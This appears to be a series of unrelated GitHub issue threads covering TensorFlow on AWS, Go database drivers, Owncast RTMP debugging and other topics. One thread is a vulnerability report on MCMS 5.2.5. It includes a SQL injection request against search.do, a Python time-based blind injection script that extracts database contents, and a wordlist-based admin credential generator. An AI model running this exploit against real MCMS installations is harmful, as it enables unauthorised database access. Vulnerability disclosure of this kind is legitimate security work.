host on AWS, use multiple GPUs

Here's a FOSS repo doing TensorFlow on AWS using Docker. This is a familiar stack.
Google Cloud also released their GPU offering recently.

It would have been cool to use Google Cloud, but they don't seem to want to give any of us access.

Ok, here we go. I have a script that can be run on a fresh g2.2xlarge instance with Ubuntu 14.04 to bring it up to speed running Python 2.7, Tensorflow 0.8 w/ GPU support, using CUDA 7.5 and cuDNN v5-rc. Everything is installed using package managers and not compiled from source by hand, which is especially impressive if you consider it's using the latest versions of gdal and pylibosmium.
# spin up a g2.2xlarge with ubuntu 14.04
# before starting, scp the tarball for cudnn (cudnn-7.5-linux-x64-v5.0-rc.tgz) to /tmp

sudo add-apt-repository ppa:ubuntugis/ubuntugis-testing -y
sudo add-apt-repository ppa:openjdk-r/ppa -y
sudo apt update

export LANGUAGE="en_US.UTF-8"
export LANG="en_US.UTF-8"
export LC_ALL="en_US.UTF-8"
locale-gen "en_US.UTF-8"
sudo dpkg-reconfigure locales

# blacklist nouveau gpu driver (in favor of CUDA)
echo -e "blacklist nouveau\nblacklist lbm-nouveau\noptions nouveau modeset=0\nalias nouveau off\nalias lbm-nouveau off\n" | sudo tee /etc/modprobe.d/blacklist-nouveau.conf
echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf
sudo update-initramfs -u

# apt prerequisites
sudo apt install -y build-essential git swig default-jdk zip zlib1g-dev libbz2-dev python2.7 python2.7-dev cmake python-pip mercurial libffi-dev libssl-dev libxml2-dev libxslt1-dev libpq-dev libmysqlclient-dev libcurl4-openssl-dev libjpeg-dev libpng12-dev gfortran libblas-dev liblapack-dev libatlas-dev libquadmath0 libfreetype6-dev pkg-config libshp-dev libsqlite3-dev libgd2-xpm-dev libexpat1-dev libgeos-dev libgeos++-dev libxml2-dev libsparsehash-dev libv8-dev libicu-dev libgdal1-dev libprotobuf-dev protobuf-compiler devscripts debhelper fakeroot doxygen libboost-dev libboost-all-dev gdal-bin linux-image-extra-virtual linux-source

# cuda
cd /tmp
wget http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1404/x86_64/cuda-repo-ubuntu1404_7.5-18_amd64.deb
sudo dpkg -i cuda-repo-ubuntu1404_7.5-18_amd64.deb
sudo apt update
sudo apt install -y cuda
sudo apt install linux-headers-$(uname -r)
sudo reboot now  # <<<<<< reboot!
sudo modprobe nvidia  # should return no errors

# cuDNN - assumes you already have the tarball in /tmp
cd /tmp
tar -xzf cudnn-7.5-linux-x64-v5.0-rc.tgz
sudo cp /tmp/cuda/lib64/* /usr/local/cuda/lib64
sudo cp /tmp/cuda/include/* /usr/local/cuda/include

# virtualenv
sudo pip install --upgrade pip
sudo pip install virtualenv
cd ~
virtualenv venv
source venv/bin/activate

# python prerequisites
pip install https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow-0.8.0-cp27-none-linux_x86_64.whl
pip install gdal --global-option=build_ext --global-option="-I/usr/include/gdal/"

git clone --branch v2.6.1 https://github.com/osmcode/libosmium.git /tmp/libosmium
pip install --global-option=build_ext --global-option="-I/tmp/libosmium/include"<EMAIL_ADDRESS>
At the end of all this, you can do the following and observe Tensorflow using the GPU:
ubuntu@ip-10-93-206-162:~$ export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/usr/local/cuda/lib64"
ubuntu@ip-10-93-206-162:~$ export CUDA_HOME=/usr/local/cuda
ubuntu@ip-10-93-206-162:~$ source venv/bin/activate
(venv) ubuntu@ip-10-93-206-162:~$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow
I tensorflow/stream_executor/dso_loader.cc:105] successfully opened CUDA library libcublas.so locally
I tensorflow/stream_executor/dso_loader.cc:105] successfully opened CUDA library libcudnn.so locally
I tensorflow/stream_executor/dso_loader.cc:105] successfully opened CUDA library libcufft.so locally
I tensorflow/stream_executor/dso_loader.cc:105] successfully opened CUDA library libcuda.so.1 locally
I tensorflow/stream_executor/dso_loader.cc:105] successfully opened CUDA library libcurand.so locally
>>>

I created an AMI with the above script. You can spin up the AMI and run the following to clone and run DeepOSM:
# global vars that need to be set
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/usr/local/cuda/lib64"
export CUDA_HOME=/usr/local/cuda
export AWS_ACCESS_KEY_ID=***
export AWS_SECRET_ACCESS_KEY=***
export GEO_DATA_DIR=/tmp/DeepOSM/data

# DeepOSM
git clone https://github.com/trailbehind/DeepOSM.git /tmp/DeepOSM
ln -s /tmp/DeepOSM/s3config-default /home/ubuntu/.s3cfg
pip install boto3==1.3.1 Pillow==3.2.0 Shapely==1.5.15 s3cmd==1.6.1 requests==2.10.0
cd /tmp/DeepOSM
export PYTHONPATH=`pwd`

# now you can run DeepOSM scripts!
python bin/create_training_data.py

Now, a couple of questions for you all:

do you think I should add docker on top of all this? I think we get most of the benefits of docker (reusable, disposable) from AMIs, without having to debug another layer when something goes wrong.
what's the next step here, so you can start using it? Want me to share the AMI?

If we don't use Docker, won't that mean we have to maintain multiple
builds - one for AWS, one+ for local dev on Linux/Mac?

Is next step to be able to log in and run this?
python bin/create_training_data.py
python bin/run_analysis.py

Then I could compare the performance and experience to my Linux box, start
getting fidelity on how our AWS lab might feel to a user.
@silberman likes Jupyter notebooks a lot too - I think he sees us providing
a hosted Jupyter notebook to tinker with, for us or others?

I dunno. If we use docker, we'll need to maintain a build to install docker on ubuntu, and have to agree on some way to deploy containers. So I think we'll need a separate build for ubuntu no matter what -- either to install DeepOSM or to install docker. Correct me if you disagree here.

Yup, I'm running those two commands right now and debugging any errors that arise.

It seems like a good production solution could be:

Overpass instance - #39
RDS instance with NAIP data, plus separate Docker app to fill/edit the DB? - #23
Tensorflow analyzer - split as own app, per #30
an app for deeposm.org - web app for OSM review/edit - which I'm working on

Apps 1 & 2 provide an API to app 3, which publishes data to S3 for app 4 to imbibe into its own Django Postgres?
My guess is this production solution will start to be more of a requirement at scale... like it will be more convenient to do more than 1 state if we set up something like this, or provide more flexible analysis. We can go ahead and do deeposm.org/delaware, but then maybe have to get this done.

I need to get my head around this code and get my work moved to AWS

merging with other infrastructure issues


types: support type aliases

Given a table like:
CREATE TABLE TestTable (Key INT64, IP BYTES(MAX), Duration INT64) PRIMARY KEY (Key)

I propose supporting writing and scanning from/to type aliases.
_, err = tx.ExecContext(ctx,
	"INSERT INTO TestTable (key, ip, duration) VALUES (@key, @ip, @duration)",
	123, net.IPv6loopback, time.Duration(1))

When using a struct as a model in an ORM (gorm for example), supporting type aliases makes those abstractions much more ergonomic.

This looks good to me.
@egonelbre Would you mind taking a look as well? As far as I can see, this retains the behavior that you introduced with the current implementation, and should as such not break anything on your side, but it would be good if you could confirm.

@olavloite looks like all our tests passed. But valuerReflectType and callValuerValue can now also be removed.

Thanks for the quick review.


no @threads

As discussed many times, threads are fine and often easier to manage, specially in high volume channels, including direct first hand recent feedback from a completely blind user

See https://gophers.slack.com/archives/C06R9USE6UV/p1711464810586459
Please reopen and merge @theckman

or we can change the language to say “threads are encouraged but remember to “also send reply to channel” if you are resurrecting an old thread with new information “ or some such


Disallow repeated variables in patterns (non-linear patterns)

I think this is probably the simplest thing for now, but it might be interesting to reconsider in the future and the effect on typing.
For now, this can be done before type checking, after parsing.

Fixed by 7721aa61


MCMS5.2.5 net/mingsoft/cms/action/web/MCmsAction.java SQLI

As you can see, the injection was successful, and the next step is to save the post package and put it into sqlmap to run

Look up for filed and find the incoming parameter

Since the parameter names are directly spliced with strings without filtering, then there may be a loophole, so let's move on to the next data chain

Since the parameter names are directly spliced with strings without filtering, then there may be a loophole, so let's move on to the next data chain

This block was found to have database calls

Next we try to inject, see the file net/mingsoft/cms/action/web/MCmsAction.java at the top of the class definition, you can know the route is host:port/mcms, and then add the method to be called, you can get the route is host:port/mcms/ search.do, next try to inject
GET /mcms/search.do?1'=0000 HTTP/1.1
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Postman-Token: 315bc447-c977-4eb8-8b99-ae231e7a2b08
Host: localhost:8080
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=96B0978724C81C34A99F09541FA893D4

Next I wrote a py file for convenient validation, using delayed injection
"""
{0}：要查的东西
{1}：起始位置
{2}：长度
{3}：猜测的值
"""
host = "http://localhost:8080/mcms/search.do?'%2b(select+'123'+AND+if(ascii(substr({0},{1},{2}))%3d{3},sleep(2),2)),--+=000"

def a():
    with open("/Users/helu/penetration/bruteDicts/account/top500_username.txt", "r") as usernames:
        with open("/Users/helu/penetration/bruteDicts/account/pwdFast.txt", "r") as pwds:
            with open("/Users/helu/penetration/bruteDicts/account/admin_pwd.txt", "a+") as file:
                data1 = usernames.read().splitlines()
                data2 = pwds.read().splitlines()
                for username in data1:
                    for pwd in data2:
                        str = base64.encodebytes(("admin" + ":" + pwd).encode("utf-8"))

                        # str += "\n"
                        file.write(str.decode("utf-8"))

def timeout(url):
    try:
        rsp = requests.get(url, timeout=3)
        return rsp.text
    except Exception:
        return "timeout"

def guess_length(target):
    for i in range(1, 100):
        url = host.format(target,1,1,i)
        rsp = timeout(url)
        if "timeout" in rsp:
            print("库长：" + chr(i) )
            return int(chr(i))

def guess_char(tar,len):
    for i in range(0,len+1):
        for j in range(47, 123):
            url = host.format(tar,i,1,"'{0}'".format(j))
            rsp = timeout(url)
            if "timeout" in rsp:
                print(chr(j))

def b(tar):
    length = guess_length(tar)
    guess_char("database()",length)

b("length(database())")

好家伙，远程执行代码漏洞。快俩月过去了，没一个人回复。


ability to cast python timedelta to Duration

Is your feature request related to a problem? Please describe.
I want to be able to cast a timedelta to a duration the same way we implicitly convert it if using from_pydict
import daft
import datetime

df = daft.from_pydict(
    {
        "time_delta": [datetime.timedelta(days=1), datetime.timedelta(days=2)],
    }
)
df.collect()

╭────────────────────────╮
│ time_delta             │
│ ---                    │
│ Duration[Microseconds] │
╞════════════════════════╡
│<PHONE_NUMBER>0            │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│<PHONE_NUMBER>00           │
╰────────────────────────╯
(Showing first 2 of 2 rows)

Describe the solution you'd like
df.select(daft.lit(datetime.timedelta(days=1)).cast(daft.DataType.duration('us')))

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Closed with https://github.com/Eventual-Inc/Daft/pull/3011


Issue between Python 3 and 2 -- game.py

In python 2 the screen is all shakey and the player movement is really messed up. seemingly the impassable coordinates are preserved, but everything else is pretty messed up. in python 3 the impassability is screwed but everything else works. i surmise this is due to some float division discrepancy between python 2 and 3, and perhaps specifically dealing with the adoption of the AbsolutePosition/position model, whose primary coordinates are floats. This issue should be easy to resolve.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/25792915-issue-between-python-3-and-2-game-py?utm_campaign=plugin&utm_content=tracker%2F7646105&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F7646105&utm_medium=issues&utm_source=github).

issue is that position float_x and float_y are being set to ints probably through player move method

okay now there's no diff between the versions i think it's actually related to using floats for position and just your typical rounding error since i shifted from using rect which is updated to rect being a property method which creates a new rect from position's float coordinate

you'll notice when it's printing the char's coordinate it jumps around

something about picking middles of something that doesn't have a middle maybe


engine/schema: add upgrade path from <IP_ADDRESS> to <IP_ADDRESS>

Description
This PR adds the upgrade path from <IP_ADDRESS> to <IP_ADDRESS>
Types of changes

[ ] Breaking change (fix or feature that would cause existing functionality to change)
[x] New feature (non-breaking change which adds functionality)
[ ] Bug fix (non-breaking change which fixes an issue)
[ ] Enhancement (improves an existing feature and functionality)
[ ] Cleanup (Code refactoring and cleanup, that may add test cases)

How Has This Been Tested?

Manually tested, LGTM, adds an empty upgrade path and does nothing else.

Manually tested, LGTM, adds an empty upgrade path and does nothing else.

LGTM

LGTM

Travis is taking time, I'll merge based on manual testing.

Travis is taking time, I'll merge based on manual testing.

I'll fwd merge and handle rest paths @davidjumani

I'll fwd merge and handle rest paths @davidjumani


how to PreProcess all mesage at ATL?

just like override the WndProc in C#.
how can i do that in ATL?

Hi, @sgf -
This sounds like a programming question. I'd suggest a forum like StackOverflow for questions like this one. They will probably recommend that you override CAtlExeModuleT::RunMessageLoop.
Closing this issue as it doesn't appear to describe a documentation defect.

im using ProcessWindowMessage now.
but cant use  message-map macros, thank you.


Not working for Dell Latitude E7480

I'm trying netboot.xyz on a dell latitude E7480 laptop (UEFI network stack enabled, Secure boot disabled), I see the tftp happens but then just after a screen flicker the BIOS proposes F1 to retry boot, etc...
On the exact same setup another (noname) laptop netboot.xyz works just fine
Is there any way to debug what's happening?

It sounds like it's attempting TFTP but never picking up iPXE after that.    Could be many different things.  netboot.xyz is really just a compiled version of iPXE that reaches out to some scripts, so if you are having problems getting on the network, I'd probably post something in the iPXE forums to see if anyone else has had issues with that laptop or NIC.

Once you've posted could you put the URL here so I can follow? Many thanks for netboot.xyz :)

Sorry I probably misunderstood, trying to register on forum.ipxe.org

Discussion continued here: http://forum.ipxe.org/showthread.php?tid=9428


Win 10 10.0.17763.1971 not supported

termsrv64.zip
I have attached the dll would appreciate some help.

https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini

Thank You

@tetas26 im getting this message when checking

im on 10.0.19042

It worked for me, thanks!

Can someone help with a 32 bit version?
termsrv.zip

It worked for me too, thanks! i  just updated my  rdpwrap.ini file
windows server datacenter 2019 version 1809
os build 17763.1999

I'm looking for the 32 bit version as well. Any help is appreciated.


Allow exe_running_docker_save in the "Write below rpm database" rule

Greetings!
When building a Docker container image from a Jenkins container running in Kubernetes, we get:
{
  "container.id": "host",
  "evt.time":<PHONE_NUMBER>881207853,
  "fd.name": "/var/lib/rpm/Sigmd5",
  "k8s.ns.name": null,
  "k8s.pod.name": null,
  "proc.cmdline": "exe /var/lib/docker/overlay2/67a775b844bc804f5e268e08c1e0bbc67fd4f2e4c23b3edaf2a2ef9043e49982/diff",
  "proc.pcmdline": "dockerd -H fd:// --ip-masq=false --iptables=false --log-driver=json-file --log-level=warn --log-opt=max-file=5 --log-opt=max-size=10m --storage-driver=overlay2",
  "proc.pname": "dockerd"
}

That alert is confusing because it says exe is writhing in /var/lib/rpm on the host. What is really happening is Docker building an image.
Adding and not exe_running_docker_save in the Write below rpm database rule fixes the alert. I've been running with that rule for over a week, it works! :)

Thanks for the contribution!


Swarm ...

Hi
should I run this command for removing images and containers that are not in use as service in swarm.
EXAMPLE: garbage as service name:
docker service create
--mode global
--name=garbage \
flaccid/docker-gc-crond
please let me know should I make any changes in command ?I think this will remove all images and containers in swarm.

???

I think this doesnot work for swarm ...

People still use swarm?

yes we are still using swarm ?? can u tell me how this image should work in swarm in removing all containers and images as service.

should we run each container on differnt nodes ?? or any other apporach ...

i solved my self ....


HTML5: Explain why export templates are missing

Same for UWP.
This is skipped in DEV_ENABLED builds so contributors can still test
the export pipeline (and CI still compiles it on debug builds).

Closes #59476.

Preview:

We could do more, but I think that's good enough as a short term solution until we can actually provide HTML5 templates again.


Can't Use With Restream due to Random Echo Not Matched

ERRO[0014] Server closed by error: Err = Random echo is not matched
github.com/yutopp/go-rtmp/handshake.HandshakeWithClient
        /home/bradley/go/pkg/mod/github.com/yutopp/go-rtmp@v0.0.0-20191212152852-4e41609a99bb/handshake/handshake.go:102
github.com/yutopp/go-rtmp.(*serverConn).Serve
        /home/bradley/go/pkg/mod/github.com/yutopp/go-rtmp@v0.0.0-20191212152852-4e41609a99bb/server_conn.go:28
github.com/yutopp/go-rtmp.(*Server).handleConn
        /home/bradley/go/pkg/mod/github.com/yutopp/go-rtmp@v0.0.0-20191212152852-4e41609a99bb/server.go:115
runtime.goexit
        /usr/local/go/src/runtime/asm_amd64.s:1373
Failed to handshake
github.com/yutopp/go-rtmp.(*serverConn).Serve
        /home/bradley/go/pkg/mod/github.com/yutopp/go-rtmp@v0.0.0-20191212152852-4e41609a99bb/server_conn.go:31
github.com/yutopp/go-rtmp.(*Server).handleConn
        /home/bradley/go/pkg/mod/github.com/yutopp/go-rtmp@v0.0.0-20191212152852-4e41609a99bb/server.go:115
runtime.goexit
        /usr/local/go/src/runtime/asm_amd64.s:1373

Set this up with restream, in addition to two other streams going out of restream to facebook and youtube.

Thanks for testing and reporting!  So the bug is in the RTMP library https://github.com/yutopp/go-rtmp/blob/9b52215ac9e0edf55aa3be632cdd12b4c36cd4c8/handshake/handshake.go#L102.
According to the wiki page of RTMP:

C2 and S2 are an echo of S1 and C1 respectively, except with the second 4 bytes being the time the respective message was received (instead of 0). After C2 and S2 are received the handshake is considered complete.

Sounds straightforward enough.  I'll fork it and dig into it and see what that means and see if I can fix it.  Thanks again, this was a good find!  But sorry it didn't work for you.  Next time!

The library has a SkipHandshakeVerification that skips these checks.  I enabled it and while it does indeed skip the checks, the video doesn't come through at all.  It connects,   I looked at the two items that are supposed to match up, and they are indeed very different.  Same length, different content.
I'm guessing there's different versions of the protocol (or at least the handshake) that we're running into here.  I'm seeing murmurs of a "RTMP with digest handshake" and I'm wondering if that's what we're not yet supporting.
As an aside, I found another RTMP client for iOS (Wirecast Go) that's doing the same thing, so I'm using that to test.  But it's the exact same error as you're seeing with Restream.

As a random test I tried against another RTMP implementation, and same error happens.
https://github.com/c-bata/rtmp/blob/c02335130af64a017980bc9a99c2d1ab40abc094/conn.go#L189

When trying to find details of the handshake with digest spec I'm finding a lot of stuff like this.

Digging around I found this implementation in Node.  It looks to be the most straightforward example of it in use.  I'm going to try to use this as a guide and write our own handshake.

Update!
So I've made some progress.  Using the RTMP implementation from https://github.com/nareix/joy5/ I'm able to accept incoming RTMP streams from Restream and Wirecast Go.  The bad news is only a single frame comes through and then the RTMP stream is garbage after that.  I'm guessing it has something to do with the new way that I'm handling that stream and writing it for use in the Transcoder.  However, OBS is working fine still.
It kind of sucks that the core of RTMP is having to be pulled out, but better to do it now than later.

Thanks for working and pursing this! If you ever need me to test something, let me know

More progress!  Currently as it stands:

Able to accept this digested RTMP from Restream and it works now.
It's able to be passed to the transcoder and and be handled in the video pipeline.

Things not working or are concerns:

I don't know yet when a RTMP connection is closed, so I can't fire the offline handlers.  Internally it's using a net.Conn, and I'm trying to find what the best way of determining a closed Conn is.  There must be better options than just randomly trying to read from the connection and looking for an EOF?  That's what I'm looking into now.
I'm having to tell the RTMP pipeline to output as ts instead of the flv as before on the way to the transcoder.  I'm concerned this is an additional level of processing that will increase CPU usage.  I don't know for sure, as I haven't done any real testing on a server as I'm still trying to wrap all this up.

@graywolf336 If you're interested and want to test, I can push up a branch and just turn off the offline handling as I continue to try to figure that out.  It's pretty bleeding edge because I haven't even tested it on my own server, but maybe it's worth testing!

The branch is up at https://github.com/gabek/owncast/tree/gek/rtmp-v2.  I'm doing my first testing with it now.  It doesn't go offline when you disconnect because I haven't figured that out yet, so if something gets stuck after disconnecting you might have to restart the service.

Ok, I just pushed up an update to that branch that heavy-handedly checks the connection state in order to find when it's disconnected.  It seems to be working ok, it just feels wrong.

I will see about testing it on Wednesday night, as that’s when the next time I’ll be using it is. But if I get a chance before then, I’ll let you know!

@graywolf336 Looking forward to seeing how things go tonight!  I did some time with a stream last night with the new RTMP branch and that part seemed to be working ok.  But one issue arose that I think only testing will help surface.  At one point when streaming the viewer count jumped from 5 to > 50, and then all those "viewers" eventually timed out and it went back to 5.  But from that point on people were mentioning that (non-video) requests were taking a really long time.  I have more detail in #44.  So hopefully more testing can help track this down as well as making sure RTMP is happy for you.

I'll let you know when we get it setup and ready to go tonight. I could even point it at an instance of yours if you wanted to monitor it.
And just to confirm, it is the branch gek/rtmp-v2?

Yup, that’s the one!  You’re always welcome to point to my instance, but it makes sense to make sure your setup is happy since I’ve been running it and (aside from whatever happened last night) it’s been functioning ok.  So it would be good to make sure this updated branch runs in your environment, too.  Though I doubt there’s enough different to make any incompatibilities.  A week or so ago we did the great merging of the config files, too, so it’ll be good to make sure your config file is happy with that.

Oh, FYI!  I added a enableVerboseLogging flag.  So enable that if you want detailed logging.

Okay, I'll clear my config and copy the default/example one to start fresh. I'll do a $15 instance from DO so I can do several bitrates. Anything you would like me to test in regards to that?

I get this when trying to just start it. I have the following in my config:
videoSettings:
  chunkLengthInSeconds: 4
  streamingKey: cltmemphis2
  offlineContent: static/offline.m4v # Is displayed when a stream ends

  streamQualities:
    # Pass through the exact video and audio that you're streaming.
    - full:
      videoPassthrough: true
      audioPassthrough: true

    # Transcode the video to a lower bitrate and resize
    - low:
      videoBitrate: 700
      scaledWidth: 600
      audioPassthrough: true
      encoderPreset: superfast

And here is the output from that ffmpeg command generated:
bradley@owncast-test:~/go/src/github.com/gabek/owncast$ cat static/offline.m4v | /snap/bin/ffmpeg -hide_banner -i pipe:  -map v:0 -c:v:0 copy -map a:0 -c:a:0 copy -map v:0 -c:v:1 libx264 -b:v:1 700k -map a:0 -c:a:1 copy -filter:v:1 "scale=600:-2" -sws_flags bilinear -preset superfast  -var_stream_map "v:0,a:0 v:1,a:1 " -f hls -hls_time 10 -hls_list_size 30 -hls_delete_threshold 10 -hls_flags delete_segments+program_date_time+temp_file+append_list -tune zerolatency -sc_threshold 0 -master_pl_name stream.m3u8 -strftime 1 -hls_segment_filename webroot/hls/%v/stream-%s.ts -max_muxing_queue_size 400 webroot/hls/%v/stream.m3u8
Error: unable to open display
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x5616ac8e1680] stream 0, timescale not set
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'pipe:':
  Metadata:
    major_brand     : M4V
    minor_version   : 1
    compatible_brands: M4V M4A isommp42
    creation_time   : 2020-06-24T05:39:23.000000Z
    title           : Owncast Offline
    keywords        : 6-16-20
    artist          : Gabe Kangas
  Duration: 00:00:08.05, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 112 kb/s (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Audio
    Stream #0:1(und): Video: h264 (Main) (avc1 / 0x31637661), yuv420p(tv, smpte170m/smpte170m/bt709, progressive), 854x480 [SAR 1:1 DAR 427:240], 518 kb/s, 23.98 fps, 23.98 tbr, 24k tbn, 48k tbc (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Video
    Stream #0:2: Video: mjpeg, yuvj420p(pc, bt470bg/unknown/unknown), 854x480 [SAR 72:72 DAR 427:240], 90k tbr, 90k tbn, 90k tbc
Stream mapping:
  Stream #0:1 -> #0:0 (copy)
  Stream #0:0 -> #0:1 (copy)
  Stream #0:1 -> #0:2 (h264 (native) -> h264 (libx264))
  Stream #0:0 -> #0:3 (copy)
[libx264 @ 0x5616ac93a240] using SAR=3099/3092
[libx264 @ 0x5616ac93a240] using cpu capabilities: MMX2 SSE2Fast SSSE3 SSE4.2 AVX FMA3 BMI2 AVX2 AVX512
[libx264 @ 0x5616ac93a240] profile High, level 2.2
[libx264 @ 0x5616ac93a240] 264 - core 152 r2854 e9a5903 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=1 deblock=1:0:0 analyse=0x3:0x3 me=dia subme=1 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=2 lookahead_threads=2 sliced_threads=1 slices=2 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=1 keyint=250 keyint_min=23 scenecut=0 intra_refresh=0 rc=abr mbtree=0 bitrate=700 ratetol=1.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00
[hls @ 0x5616ac934140] Opening 'webroot/hls/0/stream-1594243488.ts' for writing
[hls @ 0x5616ac934140] Opening 'webroot/hls/1/stream-1594243488.ts' for writing
Output #0, hls, to 'webroot/hls/%v/stream.m3u8':
  Metadata:
    major_brand     : M4V
    minor_version   : 1
    compatible_brands: M4V M4A isommp42
    artist          : Gabe Kangas
    title           : Owncast Offline
    keywords        : 6-16-20
    encoder         : Lavf58.20.100
    Stream #0:0(und): Video: h264 (Main) (avc1 / 0x31637661), yuv420p(tv, smpte170m/smpte170m/bt709, progressive), 854x480 [SAR 1:1 DAR 427:240], q=2-31, 518 kb/s, 23.98 fps, 23.98 tbr, 90k tbn, 24k tbc (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Video
    Stream #0:1(eng): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 112 kb/s (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Audio
    Stream #0:2(und): Video: h264 (libx264), yuv420p, 600x338 [SAR 72163:72000 DAR 427:240], q=-1--1, 700 kb/s, 23.98 fps, 90k tbn, 23.98 tbc (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Video
      encoder         : Lavc58.35.100 libx264
    Side data:
      cpb: bitrate max/min/avg: 0/0/700000 buffer size: 0 vbv_delay: -1
    Stream #0:3(eng): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 112 kb/s (default)
    Metadata:
      creation_time   : 2020-06-24T05:39:23.000000Z
      handler_name    : Core Media Audio
[hls @ 0x5616ac934140] Cannot use rename on non file protocol, this may lead to races and temporary partial files
[hls @ 0x5616ac934140] Opening 'webroot/hls/0/stream.m3u8' for writing
[hls @ 0x5616ac934140] Opening 'webroot/hls/1/stream.m3u8' for writing
[hls @ 0x5616ac934140] Opening 'webroot/hls/stream.m3u8' for writing
Segmentation fault (core dumped)

Interesting, a segfault!  What version of ffmpeg are you running?
I'm on 4.2.2 locally and 4.3-static (https://johnvansickle.com/ffmpeg/) on my server.
When I ran with ffmpeg 4.1.5 I got the same segfault.

Updating to 4.2.2 worked..but then I got this
INFO[2020-07-09T00:34:54Z] Incoming RTMP connected.
TRAC[2020-07-09T00:34:54Z] Video transcoder started with 2 stream variants.
PANI[2020-07-09T00:34:56Z] exit status 1 cat /tmp/streampipe.ts | /snap/bin/ffmpeg -hide_banner -i pipe:  -map v:0 -c:v:0 copy -map a:0 -c:a:0 copy -map v:0 -c:v:1 libx264 -b:v:1 700k -map a:0 -c:a:1 copy -filter:v:1 "scale=600:-2" -sws_flags bilinear -preset superfast  -var_stream_map "v:0,a:0 v:1,a:1 " -f hls -hls_time 4 -hls_list_size 30 -hls_delete_threshold 10 -hls_flags delete_segments+program_date_time+temp_file -tune zerolatency -sc_threshold 0 -master_pl_name stream.m3u8 -strftime 1 -hls_segment_filename webroot/hls/%v/stream-%s.ts -max_muxing_queue_size 400 webroot/hls/%v/stream.m3u8
panic: (*logrus.Entry) (0x1e23d40,0xc0001b62a0)

goroutine 34 [running]:
github.com/sirupsen/logrus.Entry.log(0xc0000aa000, 0xc0001ad8c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:259 +0x335
github.com/sirupsen/logrus.(*Entry).Log(0xc000547570, 0x0, 0xc000027ec0, 0x1, 0x1)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:287 +0xeb
github.com/sirupsen/logrus.(*Entry).Logln(0xc000547570, 0xc000000000, 0xc000027f88, 0x2, 0x2)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:378 +0xd1
github.com/sirupsen/logrus.(*Logger).Logln(0xc0000aa000, 0x0, 0xc000027f88, 0x2, 0x2)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/logger.go:240 +0x7d
github.com/sirupsen/logrus.(*Logger).Panicln(...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/logger.go:281
github.com/sirupsen/logrus.Panicln(...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/exported.go:219
github.com/gabek/owncast/core/ffmpeg.(*Transcoder).Start(0xc000085200)
	/home/bradley/go/src/github.com/gabek/owncast/core/ffmpeg/transcoder.go:72 +0x207
created by github.com/gabek/owncast/core/rtmp.handlePublish
	/home/bradley/go/src/github.com/gabek/owncast/core/rtmp/rtmp.go:67 +0x27a
exit status 2

Will try it after this event

@gabek wonder if there is a way to get the output of the ffmpeg command when it errors out, would be helpful for us to know when people report things.

Good idea.  I just pushed a change to the branch that logs the output to transcoder.log.  While not as convenient as just displaying it directly, if the log is really long then it might be a bit unwieldy.

I compared the command that you're running with the command that I'm running and they're the same, so I'm a bit at a loss what could be wrong.  Hopefully the output from ffmpeg gives us some next steps.

Yes, that does indeed help! Here is the output of it
Error: unable to open display
[mpegts @ 0x55ff8d56e680] PES packet size mismatch
Input #0, mpegts, from 'pipe:':
  Duration: N/A, start: 61.726000, bitrate: 427 kb/s
  Program 1
    Stream #0:0[0x100]: Audio: aac (LC) ([15][0][0][0] / 0x000F), 48000 Hz, stereo, fltp, 427 kb/s
Stream map 'v:0' matches no streams.
To ignore this, add a trailing '?' to the map.

Is that coming from Restream?  It seems to think there's no video.  I'll add that recommendation to ignore missing audio and/or video, but I'm guessing there's supposed to be video :)

Yes sir, that is all coming from Restream. When I use OBS directly to owncast it works perfectly. Wonder what exactly Restream is doing here

The testing I was doing previously was using Restream Studio to just stream the webcam.  Let me try pointing OBS -> Restream -> Owncast.

